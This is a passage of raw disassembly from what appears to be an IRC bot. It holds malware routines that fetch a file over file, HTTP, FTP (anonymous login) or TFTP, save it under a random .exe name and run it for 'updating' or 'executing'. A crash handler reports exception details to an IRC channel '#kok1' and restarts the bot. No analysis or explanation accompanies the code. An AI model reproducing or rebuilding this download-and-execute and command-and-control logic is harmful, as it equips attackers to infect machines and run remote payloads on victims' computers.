		push	[ebp+arg_14]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 0
		jnz	short loc_4028BF
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4028BF:				; CODE XREF: sub_402698+212j
		push	[ebp+var_418]
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		push	ecx
		push	1
		push	[ebp+var_410]
		call	sub_416B7C	; fwrite
		add	esp, 10h
		mov	eax, [ebp+var_410]
		lea	ecx, [ebp+var_404]
		sub	eax, ecx
		mov	ecx, [ebp+var_420]
		sub	ecx, eax
		mov	eax, [ebp+var_41C]
		sub	eax, ecx
		mov	[ebp+var_41C], eax


loc_402910:				; CODE XREF: sub_402698:loc_402A1Dj
		cmp	[ebp+arg_20], 0
		jz	short loc_40293F
		mov	eax, [ebp+arg_20]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40293F
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40293F:				; CODE XREF: sub_402698+27Cj
					; sub_402698+285j
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402976
		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_40299E


loc_402976:				; CODE XREF: sub_402698+2D3j
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	[ebp+arg_14]
		call	dword_4170AC	; DeleteFileA
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40299E:				; CODE XREF: sub_402698+2DCj
		mov	eax, [ebp+var_420]
		cmp	eax, [ebp+var_41C]
		jbe	short loc_4029C8
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------


loc_4029C8:				; CODE XREF: sub_402698+312j
		push	[ebp+var_418]
		push	[ebp+var_420]
		push	1
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B7C	; fwrite
		add	esp, 10h
		mov	eax, [ebp+var_41C]
		sub	eax, [ebp+var_420]
		mov	[ebp+var_41C], eax
		cmp	[ebp+var_41C], 0
		jnz	short loc_402A1D
		push	[ebp+var_418]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_402A22
; ---------------------------------------------------------------------------


loc_402A1D:				; CODE XREF: sub_402698+366j
		jmp	loc_402910
; ---------------------------------------------------------------------------

locret_402A22:				; CODE XREF: sub_402698+2Fj
					; sub_402698+BBj ...
		leave
		retn
sub_402698	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A24	proc near		; CODE XREF: cAddress:00403057p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A2B	proc near		; CODE XREF: cAddress:004030A5p
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_402A2B	endp

; ---------------------------------------------------------------------------


loc_402A32:				; DATA XREF: sub_403260+BCo
		push	ebp
		mov	ebp, esp
		sub	esp, 804h
		push	edi
		push	3AFh
		push	dword ptr [ebp+8]
		lea	eax, [ebp-63Ch]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp-638h]
		push	eax
		lea	eax, [ebp-7DCh]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		and	dword ptr [ebp-288h], 0
		mov	dword ptr [ebp-28Ch], 1
		and	dword ptr [ebp-6CCh], 0
		mov	al, byte_41DE00
		mov	[ebp-284h], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-283h]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DE00
		mov	[ebp-6BCh], al
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-6BBh]
		rep stosd
		stosw
		stosb
		and	dword ptr [ebp-6C8h], 0
		lea	eax, [ebp-534h]
		push	eax
		lea	eax, [ebp-7DCh]
		push	eax
		mov	eax, [ebp-63Ch]
		push	dword ptr [eax]
		push	offset dword_4185CC
		lea	eax, [ebp-430h]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	7
		push	offset aFile	; "file://"
		lea	eax, [ebp-638h]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_402B93
		push	0
		lea	eax, [ebp-534h]
		push	eax
		lea	eax, [ebp-631h]
		push	eax
		call	dword_417060	; CopyFileA
		test	eax, eax
		jnz	short loc_402B8E
		call	dword_417064	; RtlGetLastWin32Error
		cmp	eax, 20h
		jnz	short loc_402B58
		lea	eax, [ebp-534h]
		push	eax
		mov	eax, [ebp-63Ch]
		push	dword ptr [eax]
		push	offset dword_41858C
		lea	eax, [ebp-430h]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_402B7B
; ---------------------------------------------------------------------------


loc_402B58:				; CODE XREF: cAddress:00402B31j
		lea	eax, [ebp-631h]
		push	eax
		mov	eax, [ebp-63Ch]
		push	dword ptr [eax]
		push	offset dword_41855C
		lea	eax, [ebp-430h]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_402B7B:				; CODE XREF: cAddress:00402B56j
		push	dword ptr [ebp-63Ch]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402B8E:				; CODE XREF: cAddress:00402B26j
		jmp	loc_403256
; ---------------------------------------------------------------------------


loc_402B93:				; CODE XREF: cAddress:00402B08j
		lea	eax, [ebp-638h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp-6C0h], eax
		jmp	short loc_402BB5
; ---------------------------------------------------------------------------


loc_402BA8:				; CODE XREF: cAddress:loc_402CD8j
		mov	eax, [ebp-6C0h]
		dec	eax
		mov	[ebp-6C0h], eax


loc_402BB5:				; CODE XREF: cAddress:00402BA6j
		cmp	dword ptr [ebp-6C0h], 0FFFFFFFFh
		jz	loc_402CDD
		mov	eax, [ebp-6C0h]
		movsx	eax, byte ptr [ebp+eax-638h]
		cmp	eax, 3Ah
		jnz	loc_402CD8
		mov	dword ptr [ebp-7E0h], 1
		jmp	short loc_402BF2
; ---------------------------------------------------------------------------


loc_402BE5:				; CODE XREF: cAddress:loc_402CD3j
		mov	eax, [ebp-7E0h]
		inc	eax
		mov	[ebp-7E0h], eax


loc_402BF2:				; CODE XREF: cAddress:00402BE3j
		mov	eax, [ebp-6C0h]
		add	eax, [ebp-7E0h]
		movsx	eax, byte ptr [ebp+eax-638h]
		test	eax, eax
		jz	short loc_402C23
		mov	eax, [ebp-6C0h]
		add	eax, [ebp-7E0h]
		movsx	eax, byte ptr [ebp+eax-638h]
		cmp	eax, 2Fh
		jnz	short loc_402C7A


loc_402C23:				; CODE XREF: cAddress:00402C08j
		mov	eax, [ebp-7E0h]
		and	byte ptr [ebp+eax-6D5h], 0
		lea	eax, [ebp-6D4h]
		push	eax
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jz	short loc_402C75
		mov	eax, [ebp-6C0h]
		lea	eax, [ebp+eax-638h]
		add	eax, [ebp-7E0h]
		push	eax
		mov	eax, [ebp-6C0h]
		lea	eax, [ebp+eax-638h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	dword ptr [ebp-6C8h], 1


loc_402C75:				; CODE XREF: cAddress:00402C40j
		jmp	loc_403251
; ---------------------------------------------------------------------------


loc_402C7A:				; CODE XREF: cAddress:00402C21j
		mov	eax, [ebp-6C0h]
		add	eax, [ebp-7E0h]
		movsx	eax, byte ptr [ebp+eax-638h]
		cmp	eax, 30h
		jl	short loc_402CCE
		mov	eax, [ebp-6C0h]
		add	eax, [ebp-7E0h]
		movsx	eax, byte ptr [ebp+eax-638h]
		cmp	eax, 39h
		jg	short loc_402CCE
		mov	eax, [ebp-6C0h]
		add	eax, [ebp-7E0h]
		mov	ecx, [ebp-7E0h]
		mov	al, [ebp+eax-638h]
		mov	[ebp+ecx-6D5h],	al
		jmp	short loc_402CD3
; ---------------------------------------------------------------------------


loc_402CCE:				; CODE XREF: cAddress:00402C91j
					; cAddress:00402CAAj
		jmp	loc_40324C
; ---------------------------------------------------------------------------


loc_402CD3:				; CODE XREF: cAddress:00402CCCj
		jmp	loc_402BE5
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: cAddress:00402BD3j
		jmp	loc_402BA8
; ---------------------------------------------------------------------------


loc_402CDD:				; CODE XREF: cAddress:00402BBCj
					; cAddress:loc_40324Cj	...
		push	7
		push	offset aHttp	; "http://"
		lea	eax, [ebp-638h]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402D37
		cmp	dword ptr [ebp-6C8h], 0
		jnz	short loc_402D13
		push	offset a80	; "80"
		lea	eax, [ebp-6D4h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_402D13:				; CODE XREF: cAddress:00402CFEj
		lea	eax, [ebp-631h]
		push	eax
		lea	eax, [ebp-638h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	dword ptr [ebp-6CCh], 1
		jmp	loc_402E3D
; ---------------------------------------------------------------------------


loc_402D37:				; CODE XREF: cAddress:00402CF5j
		push	6
		push	offset aFtp	; "ftp://"
		lea	eax, [ebp-638h]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402DB7
		cmp	dword ptr [ebp-6C8h], 0
		jnz	short loc_402D6D
		push	offset a21	; "21"
		lea	eax, [ebp-6D4h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_402D6D:				; CODE XREF: cAddress:00402D58j
		lea	eax, [ebp-632h]
		push	eax
		lea	eax, [ebp-638h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	dword ptr [ebp-6CCh], 2
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp-284h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset aAnonymous ; "anonymous"
		lea	eax, [ebp-6BCh]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	loc_402E3D
; ---------------------------------------------------------------------------


loc_402DB7:				; CODE XREF: cAddress:00402D4Fj
		push	7
		push	offset aTftp	; "tftp://"
		lea	eax, [ebp-638h]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402E0E
		cmp	dword ptr [ebp-6C8h], 0
		jnz	short loc_402DED
		push	offset a69	; "69"
		lea	eax, [ebp-6D4h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_402DED:				; CODE XREF: cAddress:00402DD8j
		lea	eax, [ebp-631h]
		push	eax
		lea	eax, [ebp-638h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	dword ptr [ebp-6CCh], 3
		jmp	short loc_402E3D
; ---------------------------------------------------------------------------


loc_402E0E:				; CODE XREF: cAddress:00402DCFj
		mov	eax, [ebp-63Ch]
		push	dword ptr [eax]
		push	offset unk_418500
		lea	eax, [ebp-430h]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	dword ptr [ebp-63Ch]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402E3D:				; CODE XREF: cAddress:00402D32j
					; cAddress:00402DB2j ...
		lea	eax, [ebp-638h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp-6C0h], eax
		jmp	short loc_402E5F
; ---------------------------------------------------------------------------


loc_402E52:				; CODE XREF: cAddress:loc_402F11j
		mov	eax, [ebp-6C0h]
		dec	eax
		mov	[ebp-6C0h], eax


loc_402E5F:				; CODE XREF: cAddress:00402E50j
		cmp	dword ptr [ebp-6C0h], 0FFFFFFFFh
		jz	loc_402F16
		mov	eax, [ebp-6C0h]
		movsx	eax, byte ptr [ebp+eax-638h]
		cmp	eax, 40h
		jnz	loc_402F11
		mov	eax, [ebp-6C0h]
		and	byte ptr [ebp+eax-638h], 0
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-638h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp-7E4h], eax
		cmp	dword ptr [ebp-7E4h], 0
		jz	short loc_402ED8
		mov	eax, [ebp-7E4h]
		and	byte ptr [eax],	0
		push	80h
		mov	eax, [ebp-7E4h]
		inc	eax
		push	eax
		lea	eax, [ebp-6BCh]
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_402ED8:				; CODE XREF: cAddress:00402EB1j
		push	80h
		lea	eax, [ebp-638h]
		push	eax
		lea	eax, [ebp-284h]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp-6C0h]
		lea	eax, [ebp+eax-637h]
		push	eax
		lea	eax, [ebp-638h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402F16
; ---------------------------------------------------------------------------


loc_402F11:				; CODE XREF: cAddress:00402E7Dj
		jmp	loc_402E52
; ---------------------------------------------------------------------------


loc_402F16:				; CODE XREF: cAddress:00402E66j
					; cAddress:00402F0Fj
		push	offset asc_4184F8 ; "/"
		lea	eax, [ebp-638h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp-288h], eax
		cmp	dword ptr [ebp-288h], 0
		jnz	short loc_402F67
		mov	eax, [ebp-63Ch]
		push	dword ptr [eax]
		push	offset unk_4184CC
		lea	eax, [ebp-430h]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	dword ptr [ebp-63Ch]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_40325B
; ---------------------------------------------------------------------------


loc_402F67:				; CODE XREF: cAddress:00402F36j
		mov	eax, [ebp-288h]
		inc	eax
		push	eax
		lea	eax, [ebp-204h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp-288h]
		and	byte ptr [eax],	0
		lea	eax, [ebp-638h]
		push	eax
		lea	eax, [ebp-100h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp-6D8h], eax
		and	dword ptr [ebp-6C4h], 0
		cmp	dword ptr [ebp-6CCh], 1
		jnz	short loc_403009
		push	dword ptr [ebp-63Ch]
		movsx	eax, byte ptr [ebp-2A8h]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp-6C4h]
		push	eax
		lea	eax, [ebp-534h]
		push	eax
		lea	eax, [ebp-204h]
		push	eax
		lea	eax, [ebp-6D4h]
		push	eax
		lea	eax, [ebp-100h]
		push	eax
		lea	eax, [ebp-6BCh]
		push	eax
		lea	eax, [ebp-284h]
		push	eax
		call	sub_402698
		add	esp, 24h
		mov	[ebp-28Ch], eax


loc_403009:				; CODE XREF: cAddress:00402FB4j
		cmp	dword ptr [ebp-6CCh], 2
		jnz	short loc_403065
		push	dword ptr [ebp-63Ch]
		movsx	eax, byte ptr [ebp-2A8h]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp-6C4h]
		push	eax
		lea	eax, [ebp-534h]
		push	eax
		lea	eax, [ebp-204h]
		push	eax
		lea	eax, [ebp-6D4h]
		push	eax
		lea	eax, [ebp-100h]
		push	eax
		lea	eax, [ebp-6BCh]
		push	eax
		lea	eax, [ebp-284h]
		push	eax
		call	sub_402A24
		add	esp, 24h
		mov	[ebp-28Ch], eax


loc_403065:				; CODE XREF: cAddress:00403010j
		cmp	dword ptr [ebp-6CCh], 3
		jnz	short loc_4030B3
		push	dword ptr [ebp-63Ch]
		movsx	eax, byte ptr [ebp-2A8h]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp-6C4h]
		push	eax
		lea	eax, [ebp-534h]
		push	eax
		lea	eax, [ebp-204h]
		push	eax
		lea	eax, [ebp-6D4h]
		push	eax
		lea	eax, [ebp-100h]
		push	eax
		call	sub_402A2B
		add	esp, 1Ch
		mov	[ebp-28Ch], eax


loc_4030B3:				; CODE XREF: cAddress:0040306Cj
					; cAddress:loc_403256j
		cmp	dword ptr [ebp-28Ch], 1
		jnz	loc_403219
		movsx	eax, byte ptr [ebp-296h]
		test	eax, eax
		jz	short loc_4030D7
		mov	dword ptr [ebp-7ECh], offset aUpdating ; ", updating"
		jmp	short loc_403104
; ---------------------------------------------------------------------------


loc_4030D7:				; CODE XREF: cAddress:004030C9j
		movsx	eax, byte ptr [ebp-2A6h]
		test	eax, eax
		jz	short loc_4030EE
		mov	dword ptr [ebp-7F0h], offset aExecuting	; ", executing"
		jmp	short loc_4030F8
; ---------------------------------------------------------------------------


loc_4030EE:				; CODE XREF: cAddress:004030E0j
		mov	dword ptr [ebp-7F0h], offset byte_41DE00


loc_4030F8:				; CODE XREF: cAddress:004030ECj
		mov	eax, [ebp-7F0h]
		mov	[ebp-7ECh], eax


loc_403104:				; CODE XREF: cAddress:004030D5j
		push	dword ptr [ebp-7ECh]
		mov	eax, [ebp-6C4h]
		shr	eax, 0Ah
		mov	[ebp-7F8h], eax
		and	dword ptr [ebp-7F4h], 0
		fild	qword ptr [ebp-7F8h]
		fstp	dword ptr [ebp-7FCh]
		call	sub_416B64	; clock
		sub	eax, [ebp-6D8h]
		mov	[ebp-804h], eax
		and	dword ptr [ebp-800h], 0
		fild	qword ptr [ebp-804h]
		fdiv	flt_417270
		fdivr	dword ptr [ebp-7FCh]
		push	ecx
		push	ecx
		fstp	qword ptr [esp]
		lea	eax, [ebp-534h]
		push	eax
		mov	eax, [ebp-63Ch]
		push	dword ptr [eax]
		push	offset dword_41846C
		lea	eax, [ebp-430h]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, byte ptr [ebp-2A7h]
		test	eax, eax
		jz	short loc_403198
		lea	eax, [ebp-534h]
		push	eax
		call	dword_4170AC	; DeleteFileA
		jmp	short loc_403217
; ---------------------------------------------------------------------------


loc_403198:				; CODE XREF: cAddress:00403187j
		movsx	eax, byte ptr [ebp-2A6h]
		test	eax, eax
		jnz	short loc_4031AE
		movsx	eax, byte ptr [ebp-296h]
		test	eax, eax
		jz	short loc_403217


loc_4031AE:				; CODE XREF: cAddress:004031A1j
		movsx	eax, byte ptr [ebp-2A3h]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	0
		push	0
		lea	eax, [ebp-534h]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		mov	[ebp-7E8h], eax
		cmp	dword ptr [ebp-7E8h], 20h
		jbe	short loc_4031F4
		movsx	eax, byte ptr [ebp-296h]
		test	eax, eax
		jz	short loc_4031F2
		call	sub_407148


loc_4031F2:				; CODE XREF: cAddress:004031EBj
		jmp	short loc_403217
; ---------------------------------------------------------------------------


loc_4031F4:				; CODE XREF: cAddress:004031E0j
		lea	eax, [ebp-534h]
		push	eax
		mov	eax, [ebp-63Ch]
		push	dword ptr [eax]
		push	offset dword_418444
		lea	eax, [ebp-430h]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_403217:				; CODE XREF: cAddress:00403196j
					; cAddress:004031ACj ...
		jmp	short loc_40323C
; ---------------------------------------------------------------------------


loc_403219:				; CODE XREF: cAddress:004030BAj
		lea	eax, [ebp-7DCh]
		push	eax
		mov	eax, [ebp-63Ch]
		push	dword ptr [eax]
		push	offset dword_418414
		lea	eax, [ebp-430h]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40323C:				; CODE XREF: cAddress:loc_403217j
		push	dword ptr [ebp-63Ch]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_40325B
; ---------------------------------------------------------------------------


loc_40324C:				; CODE XREF: cAddress:loc_402CCEj
		jmp	loc_402CDD
; ---------------------------------------------------------------------------


loc_403251:				; CODE XREF: cAddress:loc_402C75j
		jmp	loc_402CDD
; ---------------------------------------------------------------------------


loc_403256:				; CODE XREF: cAddress:loc_402B8Ej
		jmp	loc_4030B3
; ---------------------------------------------------------------------------


loc_40325B:				; CODE XREF: cAddress:00402B89j
					; cAddress:00402E38j ...
		pop	edi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403260	proc near		; CODE XREF: sub_40A9CF+959p

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_4], 0
		jnz	short loc_403271
		jmp	locret_403329
; ---------------------------------------------------------------------------


loc_403271:				; CODE XREF: sub_403260+Aj
		push	3AFh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_40328A
		jmp	locret_403329
; ---------------------------------------------------------------------------


loc_40328A:				; CODE XREF: sub_403260+23j
		push	8
		push	7Ah
		push	61h
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_410501
		add	esp, 14h
		and	[ebp+eax+var_10], 0
		push	offset a_exe	; ".exe"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jnz	short loc_4032BF
		lea	eax, [ebp+var_10]
		mov	[ebp+arg_8], eax


loc_4032BF:				; CODE XREF: sub_403260+57j
		push	104h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_14]
		add	eax, 20Ch
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		add	eax, 108h
		push	eax
		mov	eax, [ebp+var_14]
		add	eax, 4
		push	eax
		push	offset dword_4185FC
		push	0
		push	[ebp+var_14]
		push	offset loc_402A32
		call	sub_4095A4
		add	esp, 18h

locret_403329:				; CODE XREF: sub_403260+Cj
					; sub_403260+25j
		leave
		retn
sub_403260	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	1
		push	offset dword_41DE0C
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp-4], eax
		cmp	dword_41DE08, 0
		jz	loc_4034D9
		mov	dword ptr [ebp-8], offset aException_othe ; "EXCEPTION_OTHER"
		mov	eax, [ebp+8]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-110h], eax
		cmp	dword ptr [ebp-110h], 0C0000025h
		ja	short loc_4033A4
		cmp	dword ptr [ebp-110h], 0C0000025h
		jz	short loc_4033FA
		cmp	dword ptr [ebp-110h], 80000003h
		jz	short loc_4033DF
		cmp	dword ptr [ebp-110h], 0C0000005h
		jz	short loc_4033D6
		cmp	dword ptr [ebp-110h], 0C000001Dh
		jz	short loc_4033E8
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033A4:				; CODE XREF: cAddress:00403370j
		cmp	dword ptr [ebp-110h], 0C000008Dh
		jb	short loc_403413
		cmp	dword ptr [ebp-110h], 0C0000093h
		jbe	short loc_40340C
		cmp	dword ptr [ebp-110h], 0C0000094h
		jz	short loc_4033F1
		cmp	dword ptr [ebp-110h], 0C00000FDh
		jz	short loc_403403
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033D6:				; CODE XREF: cAddress:00403394j
		mov	dword ptr [ebp-8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033DF:				; CODE XREF: cAddress:00403388j
		mov	dword ptr [ebp-8], offset aException_brea ; "EXCEPTION_BREAKPOINT"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033E8:				; CODE XREF: cAddress:004033A0j
		mov	dword ptr [ebp-8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033F1:				; CODE XREF: cAddress:004033C6j
		mov	dword ptr [ebp-8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033FA:				; CODE XREF: cAddress:0040337Cj
		mov	dword ptr [ebp-8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_403403:				; CODE XREF: cAddress:004033D2j
		mov	dword ptr [ebp-8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_40340C:				; CODE XREF: cAddress:004033BAj
		mov	dword ptr [ebp-8], offset aException_flt ; "EXCEPTION_FLT"


loc_403413:				; CODE XREF: cAddress:004033A2j
					; cAddress:004033AEj ...
		mov	eax, [ebp+8]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_40342A
		mov	dword ptr [ebp-114h], offset aRestarting ; "Restarting"
		jmp	short loc_403434
; ---------------------------------------------------------------------------


loc_40342A:				; CODE XREF: cAddress:0040341Cj
		mov	dword ptr [ebp-114h], offset aContinuing ; "Continuing"


loc_403434:				; CODE XREF: cAddress:00403428j
		push	dword ptr [ebp-114h]
		push	dword ptr [ebp-8]
		mov	eax, [ebp+8]
		mov	eax, [eax]
		push	dword ptr [eax]
		mov	eax, [ebp+8]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C0h]
		mov	eax, [ebp+8]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		mov	eax, [ebp+8]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C4h]
		mov	eax, [ebp+8]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B4h]
		mov	eax, [ebp+8]
		mov	eax, [eax+4]
		push	dword ptr [eax+9Ch]
		mov	eax, [ebp+8]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A0h]
		mov	eax, [ebp+8]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A8h]
		mov	eax, [ebp+8]
		mov	eax, [eax+4]
		push	dword ptr [eax+0ACh]
		mov	eax, [ebp+8]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A4h]
		mov	eax, [ebp+8]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B0h]
		mov	eax, [ebp-4]
		inc	eax
		push	eax
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	offset dword_41864C
		push	offset aKok1	; "#kok1"
		call	sub_40D4AB
		add	esp, 48h


loc_4034D9:				; CODE XREF: cAddress:0040334Cj
		mov	eax, [ebp-4]
		inc	eax
		cmp	eax, 64h
		jz	short loc_4034ED
		mov	eax, [ebp+8]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_403558


loc_4034ED:				; CODE XREF: cAddress:004034E0j
		push	104h
		lea	eax, [ebp-10Ch]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		test	eax, eax
		jz	short loc_403545
		push	0
		push	0
		push	0
		lea	eax, [ebp-10Ch]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		cmp	eax, 20h
		ja	short loc_403538
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	short loc_403543
; ---------------------------------------------------------------------------


loc_403538:				; CODE XREF: cAddress:00403529j
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx


loc_403543:				; CODE XREF: cAddress:00403536j
		jmp	short loc_403550
; ---------------------------------------------------------------------------


loc_403545:				; CODE XREF: cAddress:0040350Aj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx


loc_403550:				; CODE XREF: cAddress:loc_403543j
		push	0
		call	dword_41705C	; ExitProcess


loc_403558:				; CODE XREF: cAddress:004034EBj
		mov	eax, [ebp+8]
		mov	eax, [eax]
		cmp	dword ptr [eax], 80000003h
		jnz	short loc_403583
		mov	eax, [ebp+8]
		mov	eax, [eax+4]
		mov	eax, [eax+0B8h]
		inc	eax
		mov	ecx, [ebp+8]
		mov	ecx, [ecx+4]
		mov	[ecx+0B8h], eax
		or	eax, 0FFFFFFFFh
		jmp	short locret_403586
; ---------------------------------------------------------------------------


loc_403583:				; CODE XREF: cAddress:00403563j
		push	1
		pop	eax

